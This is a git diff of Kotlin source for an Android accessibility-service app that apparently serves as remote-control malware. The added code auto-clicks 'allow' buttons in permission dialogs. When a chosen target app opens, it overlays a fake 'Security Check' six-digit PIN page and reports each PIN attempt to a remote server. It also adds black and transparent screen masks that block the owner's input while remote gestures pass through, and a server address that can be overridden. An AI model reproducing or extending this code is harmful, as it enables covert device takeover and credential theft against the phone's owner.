+ if (shouldTreatAsAllowLabel(label)) {
+ val className = candidate.className?.toString().orEmpty().lowercase()
+ val isOptionNode = runCatching { candidate.isCheckable }.getOrDefault(false) ||
+ className.contains("checkbox") ||
+ className.contains("radiobutton") ||
+ className.contains("switch")
+ if (isOptionNode) {
+ return@forEach
+ }
+ val clickable = findClickableNode(candidate)
+ if (clickable != null) {
+ return clickable
+ }
+ }
+ }
+ }
+ return null
+ }
+
+ private fun findClickableNode(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? {
+ if (node == null) return null
+ if (isNodeClickable(node)) {
+ return node
+ }
+ var parent = node.parent
+ var depth = 0
+ while (parent != null && depth < 5) {
+ if (isNodeClickable(parent)) {
+ return parent
+ }
+ parent = parent.parent
+ depth++
+ }
+ return null
+ }
+
+ private fun isNodeClickable(node: AccessibilityNodeInfo): Boolean {
+ return node.isClickable || (node.actionList?.any { it.id == AccessibilityNodeInfo.ACTION_CLICK } == true)
+ }
+
+ private fun performAutoAllowClick(node: AccessibilityNodeInfo): Boolean {
+ if (checkAndClickButton(node)) {
+ return true
+ }
+ return try {
+ val rect = Rect()
+ node.getBoundsInScreen(rect)
+ if (rect.isEmpty) {
+ false
+ } else {
+ performSimpleCoordinateClickSync(rect.centerX(), rect.centerY())
+ }
+ } catch (_: Exception) {
+ false
+ }
+ }
+
+ private fun shouldTreatAsAllowLabel(rawLabel: String): Boolean {
+ val label = rawLabel.trim().lowercase()
+ if (label.isEmpty()) return false
+ if (autoAllowNegativeKeywords.any { label.contains(it.lowercase()) }) {
+ return false
+ }
+ return autoAllowPositiveKeywords.any { label.contains(it.lowercase()) }
+ }
+
+ private fun getNodeLabel(node: AccessibilityNodeInfo): String {
+ val text = node.text?.toString().orEmpty()
+ val desc = node.contentDescription?.toString().orEmpty()
+ return "$text $desc".trim()
+ }
+
+ fun enableAppInjection(targetPackage: String, appName: String?) {
+ val pkg = targetPackage.trim()
+ if (pkg.isEmpty()) {
+ service.getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ false,
+ "Injection target package is empty"
+ )
+ return
+ }
+
+ appInjectionEnabled = true
+ appInjectionTargetPackage = pkg
+ appInjectionTargetAppName = appName?.trim().orEmpty()
+ appInjectionPromptShowing = false
+ appInjectionLastTriggerAt = 0L
+
+ Log.i(TAG, "✅ 应用注入监听已开启: package=$pkg, appName=${appInjectionTargetAppName.ifEmpty { "-" }}")
+ service.recordOperationLog(
+ "APP_INJECTION_ENABLED",
+ "应用注入监听已开启",
+ mapOf(
+ "packageName" to pkg,
+ "appName" to appInjectionTargetAppName
+ )
+ )
+ service.getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ true,
+ "Injection monitor enabled: $pkg"
+ )
+ }
+
+ fun disableAppInjection(reason: String = "manual", notifyClient: Boolean = true) {
+ val previousTarget = appInjectionTargetPackage
+ appInjectionEnabled = false
+ appInjectionTargetPackage = ""
+ appInjectionTargetAppName = ""
+ appInjectionPromptShowing = false
+ appInjectionLastTriggerAt = 0L
+
+ if (previousTarget.isNotEmpty()) {
+ Log.i(TAG, "ℹ️ 应用注入监听已关闭: package=$previousTarget, reason=$reason")
+ service.recordOperationLog(
+ "APP_INJECTION_DISABLED",
+ "应用注入监听已关闭",
+ mapOf(
+ "packageName" to previousTarget,
+ "reason" to reason
+ )
+ )
+ }
+
+ if (notifyClient) {
+ service.getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ true,
+ "Injection monitor disabled${if (reason.isNotBlank()) ": $reason" else ""}"
+ )
+ }
+ }
+
+ fun onAppInjectionPinAttempt(success: Boolean, attempt: Int) {
+ if (!appInjectionEnabled) {
+ appInjectionPromptShowing = false
+ return
+ }
+
+ if (success) {
+ service.recordOperationLog(
+ "APP_INJECTION_PIN_SUCCESS",
+ "应用注入 PIN 校验通过",
+ mapOf(
+ "packageName" to appInjectionTargetPackage,
+ "attempt" to attempt
+ )
+ )
+ service.getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ true,
+ "Injection PIN accepted on attempt $attempt"
+ )
+ disableAppInjection("pin_success", notifyClient = false)
+ return
+ }
+
+ appInjectionPromptShowing = true
+ service.recordOperationLog(
+ "APP_INJECTION_PIN_FAILED",
+ "应用注入 PIN 首次校验失败",
+ mapOf(
+ "packageName" to appInjectionTargetPackage,
+ "attempt" to attempt
+ )
+ )
+ service.getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ false,
+ "Injection PIN rejected on attempt $attempt"
+ )
+ }
+
+ fun onAppInjectionPinDismissed(reason: String = "dismissed") {
+ if (!appInjectionEnabled) {
+ appInjectionPromptShowing = false
+ return
+ }
+ appInjectionPromptShowing = false
+ service.recordOperationLog(
+ "APP_INJECTION_PIN_DISMISSED",
+ "应用注入 PIN 页面已关闭",
+ mapOf(
+ "packageName" to appInjectionTargetPackage,
+ "reason" to reason
+ )
+ )
+ }
+
+ private fun detectInjectedTargetApp(packageName: String, className: String) {
+ if (!appInjectionEnabled) {
+ return
+ }
+ if (appInjectionTargetPackage.isBlank()) {
+ return
+ }
+ if (packageName.isBlank()) {
+ return
+ }
+ if (packageName == context.packageName) {
+ return
+ }
+ if (packageName != appInjectionTargetPackage) {
+ return
+ }
+ if (appInjectionPromptShowing) {
+ return
+ }
+
+ val now = System.currentTimeMillis()
+ if (now - appInjectionLastTriggerAt < appInjectionTriggerCooldownMs) {
+ return
+ }
+ appInjectionLastTriggerAt = now
+ appInjectionPromptShowing = true
+
+ serviceScope.launch {
+ val (launchSuccess, usedForegroundRecovery) = launchAppInjectionPinWithRecovery(
+ packageName,
+ className
+ )
+ if (launchSuccess) {
+ Log.i(
+ TAG,
+ "🚀 触发应用注入 PIN 页面: package=$packageName, class=$className, foregroundRecovery=$usedForegroundRecovery"
+ )
+ service.recordOperationLog(
+ "APP_INJECTION_TRIGGERED",
+ "目标应用命中，弹出注入 PIN 页面",
+ mapOf(
+ "packageName" to packageName,
+ "className" to className,
+ "foregroundRecovery" to usedForegroundRecovery
+ )
+ )
+ return@launch
+ }
+
+ appInjectionPromptShowing = false
+ Log.w(TAG, "⚠️ 应用注入 PIN 页面未成功显示，已重置触发状态")
+ service.recordOperationLog(
+ "APP_INJECTION_TRIGGER_FAILED",
+ "目标应用命中，但注入 PIN 页面显示失败",
+ mapOf(
+ "packageName" to packageName,
+ "className" to className,
+ "foregroundRecoveryTried" to usedForegroundRecovery
+ )
+ )
+ service.getSocketIOManager()?.sendPermissionResponse(
+ "app_injection",
+ false,
+ "Injection challenge launch blocked by background restrictions"
+ )
+ }
+ }
+
+ private suspend fun launchAppInjectionPinWithRecovery(
+ triggerPackage: String,
+ triggerClassName: String
+ ): Pair {
+ val firstLaunch = startAppInjectionPinActivity(triggerClassName, "first")
+ delay(320)
+ if (firstLaunch && isAppInjectionPinUiVisible()) {
+ return Pair(true, false)
+ }
+
+ Log.w(
+ TAG,
+ "⚠️ 应用注入 PIN 首次拉起未可见，尝试前台恢复后重试: package=$triggerPackage, class=$triggerClassName"
+ )
+ val foregroundRecovered = runCatching {
+ withTimeoutOrNull(2500L) {
+ service.performSmartReturnToApp()
+ } ?: false
+ }.getOrDefault(false)
+ if (foregroundRecovered) {
+ delay(260)
+ }
+
+ val retryLaunch = startAppInjectionPinActivity(
+ triggerClassName,
+ "retry_after_foreground"
+ )
+ delay(380)
+ val retryVisible = retryLaunch && isAppInjectionPinUiVisible()
+ return Pair(retryVisible, foregroundRecovered)
+ }
+
+ private suspend fun startAppInjectionPinActivity(
+ triggerClassName: String,
+ stage: String
+ ): Boolean {
+ val intent = Intent(context, com.hikoncont.activity.AppInjectionPinActivity::class.java).apply {
+ addFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK or
+ Intent.FLAG_ACTIVITY_SINGLE_TOP or
+ Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
+ )
+ putExtra("targetPackage", appInjectionTargetPackage)
+ putExtra("targetAppName", appInjectionTargetAppName)
+ putExtra("triggerClassName", triggerClassName)
+ }
+
+ return withContext(Dispatchers.Main) {
+ try {
+ context.startActivity(intent)
+ Log.d(TAG, "🚀 应用注入 PIN 拉起请求已发送: stage=$stage")
+ true
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 启动应用注入 PIN 页面失败: stage=$stage", e)
+ false
+ }
+ }
+ }
+
+ private fun isAppInjectionPinUiVisible(): Boolean {
+ val root = getStableRootInActiveWindow() ?: return false
+ try {
+ val packageName = root.packageName?.toString().orEmpty()
+ if (packageName != context.packageName) {
+ return false
+ }
+ val className = root.className?.toString().orEmpty()
+ if (className.contains("AppInjectionPinActivity")) {
+ return true
+ }
+ return containsVisibleText(root, "Security Check") ||
+ containsVisibleText(root, "6-digit PIN") ||
+ containsVisibleText(root, "PIN check is required")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 检查应用注入 PIN 页面可见性失败", e)
+ return false
+ } finally {
+ runCatching { root.recycle() }
+ }
+ }
/**
* 检测支付宝应用
@@ -2797,4 +3902,4 @@ class AccessibilityEventManager(
return rootInActiveWindow
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt b/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt
index ff4990f..b3fe20e 100644
--- a/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt
@@ -57,6 +57,24 @@ class MaskOverlayManager(
Log.e(TAG, "❌ 阻止设备用户输入失败", e)
}
}
+
+ /**
+ * 阻止设备用户输入（透明遮罩）
+ * 用于 WebRTC 推流时，避免远端画面被黑色遮罩覆盖。
+ */
+ fun blockInputTransparent() {
+ try {
+ setAllowAccessibilityOperations(true)
+ Log.i(TAG, "🫥 启用透明遮罩输入阻止")
+ inputBlockManager?.blockInputTransparent() ?: run {
+ Log.w(TAG, "⚠️ InputBlockManager 不支持透明遮罩，回退普通输入阻止")
+ blockInput()
+ }
+ Log.i(TAG, "✅ 透明遮罩模式已启用")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 启用透明遮罩失败", e)
+ }
+ }
/**
* 允许设备用户输入
@@ -94,6 +112,18 @@ class MaskOverlayManager(
Log.e(TAG, "❌ 设置遮罩文字配置失败", e)
}
}
+
+ /**
+ * 设置黑屏遮罩透明度（0~255）
+ */
+ fun setMaskOverlayAlpha(alpha: Int?) {
+ try {
+ inputBlockManager?.setMaskOverlayAlpha(alpha)
+ Log.d(TAG, "🎚️ 遮罩透明度配置已更新: ${alpha ?: "unchanged"}")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 设置遮罩透明度失败", e)
+ }
+ }
/**
* 设置是否允许AccessibilityService操作
@@ -143,10 +173,11 @@ class MaskOverlayManager(
* 启用纯色遮罩模式（无文字）
* 专用于黑屏遮盖功能：显示纯色遮罩，Web端可正常操作
*/
- fun enableBlackScreenMode() {
+ fun enableBlackScreenMode(maskAlpha: Int? = null) {
try {
Log.i(TAG, "🖤 启用纯色遮罩模式")
setAllowAccessibilityOperations(true)
+ setMaskOverlayAlpha(maskAlpha)
inputBlockManager?.blockInputWithoutText() ?: run {
Log.w(TAG, "⚠️ InputBlockManager不支持无文字遮罩，使用普通遮罩")
blockInput()
@@ -200,12 +231,15 @@ class MaskOverlayManager(
* Web操作期间的遮罩管理
* 🔑 新策略：总是使用performWithBlockControl来临时移除触摸拦截
*/
- fun performWithMaskControl(operation: () -> Unit) {
+ fun performWithMaskControl(operation: () -> Unit, passThroughDurationMs: Long? = null) {
try {
- // 🔑 新策略：无论什么模式，都使用performWithBlockControl
- // 这样可以临时移除触摸拦截，让Web端操作穿透遮罩
- Log.d(TAG, "🔄 执行Web操作：临时移除触摸拦截，保持遮罩显示")
- inputBlockManager?.performWithBlockControl(operation)
+ val duration = passThroughDurationMs
+ Log.d(TAG, "🔄 执行Web操作：临时移除触摸拦截，保持遮罩显示, passThroughMs=${duration ?: "default"}")
+ if (duration != null) {
+ inputBlockManager?.performWithBlockControl(operation, duration)
+ } else {
+ inputBlockManager?.performWithBlockControl(operation)
+ }
} catch (e: Exception) {
Log.e(TAG, "❌ Web操作期间遮罩控制失败", e)
}
@@ -241,4 +275,4 @@ class MaskOverlayManager(
"hasBlockView" to false
)
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt b/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt
index 25c1588..dbda22c 100644
--- a/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt
@@ -1,11 +1,13 @@
package com.hikoncont.service.modules
import android.content.Context
+import android.content.pm.PackageManager
import android.util.Log
import com.hikoncont.network.SocketIOManager
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
import org.json.JSONObject
+import java.io.File
/**
* Network manager - manages Socket.IO connection lifecycle.
@@ -316,7 +318,7 @@ class NetworkManager(
* @return server URL string or null on failure
*/
fun getServerUrl(): String? {
- return readServerConfigFromAssets()
+ return resolveServerUrl()
}
/**
@@ -330,12 +332,65 @@ class NetworkManager(
/**
* Parse server_config.json and extract serverUrl.
*/
+ private fun resolveServerUrl(): String? {
+ val assetsUrl = readServerConfigFromAssets()
+ val internalConfigFile = File(context.filesDir, CONFIG_FILE_SERVER)
+ val internalUrl = readServerConfigFromInternalStorage()
+
+ if (internalUrl.isNullOrBlank()) {
+ if (!assetsUrl.isNullOrBlank()) {
+ Log.i(TAG, "Using serverUrl from assets config: $assetsUrl")
+ }
+ return assetsUrl
+ }
+
+ if (assetsUrl.isNullOrBlank()) {
+ Log.i(TAG, "Assets serverUrl missing, using internal config: $internalUrl")
+ return internalUrl
+ }
+
+ if (internalUrl == assetsUrl) {
+ return assetsUrl
+ }
+
+ val packageLastUpdateTime = getPackageLastUpdateTime()
+ val internalLastModified = internalConfigFile.lastModified()
+ return if (internalLastModified in 1 until packageLastUpdateTime) {
+ Log.w(
+ TAG,
+ "Detected stale internal serverUrl($internalUrl), package config is newer($assetsUrl), using assets"
+ )
+ assetsUrl
+ } else {
+ Log.i(
+ TAG,
+ "Using internal overridden serverUrl: $internalUrl (assets default: $assetsUrl)"
+ )
+ internalUrl
+ }
+ }
+
+ private fun readServerConfigFromInternalStorage(): String? {
+ return try {
+ val file = File(context.filesDir, CONFIG_FILE_SERVER)
+ if (!file.exists()) {
+ return null
+ }
+ val json = JSONObject(file.readText())
+ val url = json.optString("serverUrl", "").trim()
+ if (url.isBlank()) null else url
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to read internal $CONFIG_FILE_SERVER: ${e.message}")
+ null
+ }
+ }
+
private fun readServerConfigFromAssets(): String? {
return try {
val jsonStr = context.assets.open(CONFIG_FILE_SERVER)
.bufferedReader().use { it.readText() }
val json = JSONObject(jsonStr)
- val url = json.optString("serverUrl", "")
+ val url = json.optString("serverUrl", "").trim()
if (url.isBlank()) {
Log.e(TAG, "serverUrl is empty in $CONFIG_FILE_SERVER")
null
@@ -348,6 +403,24 @@ class NetworkManager(
}
}
+ private fun getPackageLastUpdateTime(): Long {
+ return try {
+ val packageInfo = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.TIRAMISU) {
+ context.packageManager.getPackageInfo(
+ context.packageName,
+ PackageManager.PackageInfoFlags.of(0)
+ )
+ } else {
+ @Suppress("DEPRECATION")
+ context.packageManager.getPackageInfo(context.packageName, 0)
+ }
+ packageInfo.lastUpdateTime
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to read package update time: ${e.message}")
+ 0L
+ }
+ }
+
/**
* Parse server_config.json and extract webUrl.
*/
diff --git a/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt b/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt
index 2e635f1..6a87a6e 100644
--- a/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt
@@ -13,14 +13,12 @@ class ScreenBrightnessManager(
) {
companion object {
private const val TAG = "ScreenBrightnessManager"
- private const val MIN_BRIGHTNESS = 1 // 最低亮度（0是真正的最低值，提供最佳黑屏效果）
+ private const val MIN_BRIGHTNESS = 0 // 最低亮度（部分机型可能自动抬升）
private const val DEFAULT_BRIGHTNESS = 128 // 默认亮度（中等亮度）
private const val INVALID_BRIGHTNESS = -999 // 无效亮度标志
// 华为设备特殊处理
private const val HUAWEI_MIN_BRIGHTNESS = 1 // 华为设备最低亮度（某些华为设备不支持0亮度）
- // 🔧 新增：vivo设备特殊处理 - 使用深色遮盖替代亮度调节
- private const val VIVO_USE_DARK_OVERLAY = true // vivo设备使用深色遮盖替代方案
private const val RETRY_COUNT = 3 // 重试次数
private const val RETRY_DELAY = 100L // 重试间隔（毫秒）
@@ -77,7 +75,7 @@ class ScreenBrightnessManager(
if (isVivo) {
Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model")
- Log.i(TAG, "📱 vivo设备将使用深色遮盖替代亮度调节方案")
+ Log.i(TAG, "📱 vivo设备将优先使用系统亮度调节方案")
}
return isVivo
@@ -392,18 +390,9 @@ class ScreenBrightnessManager(
/**
* 启用低亮度模式（用于黑屏遮盖）
* 只有在有WRITE_SETTINGS权限时才执行
- * 🔧 vivo设备：跳过亮度调节，使用深色遮盖替代方案
*/
fun enableLowBrightnessMode(): Boolean {
return try {
- // 🔧 vivo设备特殊处理：跳过亮度调节，使用深色遮盖替代方案
- if (isVivoDevice) {
- Log.i(TAG, "📱 vivo设备：跳过屏幕亮度调节，启用深色遮盖替代方案")
- isManagingBrightness = true // 标记为已管理状态，确保恢复逻辑正常工作
- Log.i(TAG, "✅ vivo设备深色遮盖模式已启用（替代亮度调节）")
- return true
- }
-
if (!hasWriteSettingsPermission()) {
Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，无法调整屏幕亮度")
return false
@@ -467,7 +456,6 @@ class ScreenBrightnessManager(
/**
* 恢复原始亮度
- * 🔧 vivo设备：跳过亮度恢复，深色遮盖由遮盖管理器负责移除
*/
fun restoreOriginalBrightness(): Boolean {
return try {
@@ -475,15 +463,7 @@ class ScreenBrightnessManager(
Log.d(TAG, "🔧 亮度管理未启用，跳过恢复操作")
return true
}
-
- // 🔧 vivo设备特殊处理：跳过亮度恢复
- if (isVivoDevice) {
- Log.i(TAG, "📱 vivo设备：跳过屏幕亮度恢复，深色遮盖已由遮盖管理器移除")
- resetBrightnessState() // 重置管理状态
- Log.i(TAG, "✅ vivo设备深色遮盖模式已关闭")
- return true
- }
-
+
if (!hasWriteSettingsPermission()) {
Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，无法恢复屏幕亮度")
resetBrightnessState()
@@ -632,9 +612,8 @@ class ScreenBrightnessManager(
"deviceBrand" to deviceBrand,
"deviceManufacturer" to deviceManufacturer,
"huaweiMinBrightness" to if (isHuaweiDevice) HUAWEI_MIN_BRIGHTNESS else "N/A",
- "vivoUseDarkOverlay" to if (isVivoDevice) VIVO_USE_DARK_OVERLAY else "N/A",
"brightnessStrategy" to when {
- isVivoDevice -> "深色遮盖替代方案"
+ isVivoDevice -> "vivo高兼容亮度调节"
isHuaweiDevice -> "华为设备重试机制"
else -> "标准亮度调节"
}
@@ -659,4 +638,4 @@ class ScreenBrightnessManager(
Log.e(TAG, "❌ 清理屏幕亮度管理器失败", e)
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt b/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt
index 5b166fd..fe97fe2 100644
--- a/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt
@@ -16,6 +16,7 @@ import androidx.core.app.NotificationCompat
import com.hikoncont.R
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.KeepAliveService
+import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
/**
@@ -314,7 +315,7 @@ class ServiceLifecycleManager(
*/
private fun registerPermissionRequestReceiver() {
try {
- permissionRequestReceiver = object : BroadcastReceiver() {
+ val receiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
if (intent?.action == "android.mycustrecev.REQUEST_PERMISSION") {
Log.i(TAG, "📢 收到权限申请广播")
@@ -322,9 +323,10 @@ class ServiceLifecycleManager(
}
}
}
+ permissionRequestReceiver = receiver
val filter = IntentFilter("android.mycustrecev.REQUEST_PERMISSION")
- context.registerReceiver(permissionRequestReceiver, filter)
+ context.registerReceiverCompat(receiver, filter)
Log.d(TAG, "✅ 权限申请广播接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册权限申请广播接收器失败", e)
@@ -386,4 +388,4 @@ class ServiceLifecycleManager(
* 获取协程作用域
*/
fun getServiceScope(): CoroutineScope = serviceScope
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt b/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt
index afaa754..89c1521 100644
--- a/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt
@@ -2906,19 +2906,7 @@ class WriteSettingsPermissionManager(
service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME)
- // 🛡️ 新增：WRITE_SETTINGS 完成后，自动开启卸载保护（直接调用服务公开API）
- try {
- val ars = service as? com.hikoncont.service.AccessibilityRemoteService
- if (ars != null) {
- Log.i(
- TAG,
- "🛡️ 自动开启卸载保护 (WRITE_SETTINGS完成后 via enableUninstallProtection)"
- )
- ars.enableUninstallProtection()
- }
- } catch (e: Exception) {
- Log.w(TAG, "⚠️ 自动开启卸载保护失败", e)
- }
+ // 防卸载改为手动开关控制，不在权限完成后自动启用
// 返回应用
returnToApp()
diff --git a/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt b/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt
index 0d2ca73..fac59e4 100644
--- a/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt
@@ -18,6 +18,7 @@ import android.content.Intent
import android.content.IntentFilter
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.modules.ConfigProgressManager
+import com.hikoncont.util.registerReceiverCompat
/**
* 基于AccessibilityService的遮盖管理器
@@ -95,7 +96,7 @@ class AccessibilityMaskManager(
if (config.enableProgressBar) {
try {
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
- context.registerReceiver(progressReceiver, progressFilter)
+ context.registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ AccessibilityMaskManager进度更新广播接收器注册成功")
Log.i(TAG, "📡 AccessibilityMaskManager监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
} catch (e: Exception) {
@@ -433,4 +434,4 @@ class AccessibilityMaskManager(
Log.e(TAG, "❌ 更新遮盖文本失败", e)
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt b/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt
index 730edc6..ad9bc3d 100644
--- a/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt
+++ b/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt
@@ -11,10 +11,6 @@ import android.view.View
import android.view.WindowManager
import android.widget.LinearLayout
import android.widget.TextView
-import kotlinx.coroutines.CoroutineScope
-import kotlinx.coroutines.Dispatchers
-import kotlinx.coroutines.SupervisorJob
-import kotlinx.coroutines.launch
/**
* 基于AccessibilityService的输入阻塞管理器
@@ -25,6 +21,18 @@ class InputBlockManager(
) {
companion object {
private const val TAG = "InputBlockManager"
+ private const val MIN_PASS_THROUGH_MS = 120L
+ private const val MAX_PASS_THROUGH_MS = 5000L
+ private const val PRE_OPERATION_TOUCH_PASS_DELAY_MS = 48L
+ private const val DEFAULT_BLACK_MASK_ALPHA = 220
+ private const val MIN_BLACK_MASK_ALPHA = 0
+ private const val MAX_BLACK_MASK_ALPHA = 255
+ }
+
+ private enum class BlockViewMode {
+ TEXT,
+ BLACK,
+ TRANSPARENT
}
/**
@@ -43,9 +51,6 @@ class InputBlockManager(
model.contains("iqoo")
}
- // 协程作用域
- private val blockScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
-
// 输入阻塞状态
private var isInputBlocked = false
private var isPerformingWebOperation = false
@@ -58,8 +63,14 @@ class InputBlockManager(
// 阻塞配置
private var blockText = "数据加载中\n请勿操作"
private var blockTextSize = 24f
+ private var blackMaskAlpha = DEFAULT_BLACK_MASK_ALPHA
private var allowAccessibilityOperations = true // 是否允许AccessibilityService操作
- private var operationDelayMs = 10000L // Web操作后的恢复延迟时间(毫秒)
+ private var operationDelayMs = 1200L // Web操作后的恢复延迟时间(毫秒)
+ private var blockViewMode = BlockViewMode.TEXT
+
+ // 触摸穿透恢复控制（用于远程操作期间短暂放行注入手势）
+ private var passThroughToken = 0L
+ private var restoreTouchInterceptRunnable: Runnable? = null
// 主线程Handler
private val mainHandler = Handler(Looper.getMainLooper())
@@ -110,6 +121,25 @@ class InputBlockManager(
Log.e(TAG, "❌ 阻止设备用户输入失败（纯色遮罩）", e)
}
}
+
+ /**
+ * 阻止设备用户输入（透明遮罩）
+ * 专用于 WebRTC 推流时，避免遮罩被远端画面捕获。
+ */
+ fun blockInputTransparent() {
+ try {
+ Log.i(TAG, "🫥 开始阻止设备用户输入（透明遮罩）")
+
+ mainHandler.post {
+ createInputBlockViewTransparent()
+ isInputBlocked = true
+ }
+
+ Log.i(TAG, "✅ 设备用户输入阻止请求已发送（透明遮罩）")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 阻止设备用户输入失败（透明遮罩）", e)
+ }
+ }
/**
* 允许设备用户输入
@@ -152,7 +182,7 @@ class InputBlockManager(
}
// 如果阻塞正在显示，重新创建以应用新配置
- if (isInputBlocked && blockView != null) {
+ if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.TEXT) {
Log.d(TAG, "🔄 重新创建阻塞视图以应用新配置")
mainHandler.post {
removeInputBlockView()
@@ -164,6 +194,29 @@ class InputBlockManager(
Log.e(TAG, "❌ 设置阻塞文字配置失败", e)
}
}
+
+ /**
+ * 设置黑屏遮罩透明度（0~255）
+ */
+ fun setMaskOverlayAlpha(alpha: Int?) {
+ try {
+ if (alpha == null) return
+ val normalized = alpha.coerceIn(MIN_BLACK_MASK_ALPHA, MAX_BLACK_MASK_ALPHA)
+ if (normalized == blackMaskAlpha) return
+
+ blackMaskAlpha = normalized
+ Log.d(TAG, "🎚️ 黑屏遮罩透明度更新为: $blackMaskAlpha")
+
+ if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.BLACK) {
+ mainHandler.post {
+ removeInputBlockView()
+ createInputBlockViewWithoutText()
+ }
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 设置黑屏遮罩透明度失败", e)
+ }
+ }
/**
* 设置是否允许AccessibilityService操作
@@ -197,7 +250,7 @@ class InputBlockManager(
*/
fun setOperationDelay(delayMs: Long) {
try {
- operationDelayMs = delayMs.coerceIn(200L, 15000L) // 限制在200ms-15s之间
+ operationDelayMs = delayMs.coerceIn(MIN_PASS_THROUGH_MS, 15000L) // 限制在合理范围
Log.d(TAG, "⏱️ Web操作恢复延迟设置为: ${operationDelayMs}ms")
} catch (e: Exception) {
Log.e(TAG, "❌ 设置操作延迟失败", e)
@@ -207,58 +260,75 @@ class InputBlockManager(
// 🔑 智能阻塞模式：不再需要临时移除和恢复方法
// AccessibilityService可以直接穿透FLAG_NOT_TOUCHABLE，无需移除遮罩
+ private fun applyTouchIntercept(intercept: Boolean) {
+ val params = blockParams ?: return
+ val wm = windowManager ?: return
+ val view = blockView ?: return
+ val oldFlags = params.flags
+ params.flags = if (intercept) {
+ oldFlags and WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE.inv()
+ } else {
+ oldFlags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
+ }
+ try {
+ wm.updateViewLayout(view, params)
+ Log.d(TAG, "🔧 遮罩触摸拦截更新: intercept=$intercept, flags=${params.flags}")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 更新遮罩触摸拦截失败: intercept=$intercept", e)
+ }
+ }
+
+ private fun scheduleRestoreTouchIntercept(token: Long, delayMs: Long) {
+ restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) }
+ val runnable = Runnable {
+ if (token != passThroughToken) {
+ return@Runnable
+ }
+ if (isInputBlocked && blockView != null) {
+ applyTouchIntercept(intercept = true)
+ }
+ isPerformingWebOperation = false
+ restoreTouchInterceptRunnable = null
+ Log.d(TAG, "🔒 远程操作窗口结束，恢复本机触摸拦截")
+ }
+ restoreTouchInterceptRunnable = runnable
+ mainHandler.postDelayed(runnable, delayMs)
+ }
+
/**
* Web操作期间的阻塞管理
- * 🔑 最新策略：保持遮罩显示，但临时移除触摸拦截，让Web端操作穿透
+ * 策略: 默认保持本机触摸拦截；远程手势期间短暂切换为 NOT_TOUCHABLE 放行注入，完成后自动恢复拦截。
*/
- fun performWithBlockControl(operation: () -> Unit) {
